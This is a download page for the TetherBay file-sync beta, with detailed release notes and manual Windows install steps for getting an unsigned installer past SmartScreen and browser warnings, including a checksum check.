TetherBay
Device-to-device file sync through a temporary relay
Download for your OS
Download for WindowsTetherBay 0.2.818 packages the latest documented beta improvements across relay resilience, network fallback, storage, and encrypted sync. Contact names:: contacts are named by the alias you typed, else their real name, else their email, never a generated user-xxxxxxxx id, on the contacts list, Send, share pickers, transfers, clipboard history, notifications and folder owner/invitation rows. gt817 fix pack:: multi-file Send shows steady "Uploading files N of M" progress; contact-batch receive and send use far fewer relay round trips; folder, Settings, Plans, relay-storage and German/Spanish/Chinese wording fixes; the 1 MB clipboard cap is announced instead of dropped silently. Billing:: Paddle webhooks are accepted only from Paddle's published addresses; returning buyers are recognised by Paddle Retain after email verification. W1 directory ACL source repair:: Windows private-directory creation checks current ownership and the directory chain before applying a protected current-user DACL, omitting the redundant owner write. Unsafe existing directories remain refused. The original packaged Windows device-link failure remains open; its native cause and the required approval/import/restart and bidirectional file exchange remain unverified. R4-IOS-MULTI (M2):: The desktop composer can send a multi-file selection as individual encrypted transfers to own devices without batch support. Retried collections retain the original note, transfer IDs and accepted files, and pause while the current relay policy cannot accept the retained note. R5-T3-B2-2:: Correct clipboard image ownership lifetimes and native contact clipboard ownership markers. R4-SND3-01:: Pause batches on known relay quota refusals and allow explicit Resume with the original batch identity. R5-T2-B1-3:: Complete cancellation when a batch is known not to have dispatched, rather than leaving it stuck at Checking files.

Prefer to click through it by hand instead? The manual steps below still work.
Or run the installer by hand
The current beta installer is not yet code-signed. Microsoft Defender SmartScreen may show a warning when you run it.
This is expected for the current unsigned beta. Before you install, you can check the file against the SHA-256 checksum published on the v0.2.818 release page.
Click “More info”, then “Run anyway”
On the SmartScreen dialog, click More info. If Run anyway is offered, select it to continue. A managed computer may block this option; if it is missing, contact your administrator.
If your browser warns too
Edge or Chrome may flag the download — choose Keep (or Keep anyway) to save the installer, then run it.
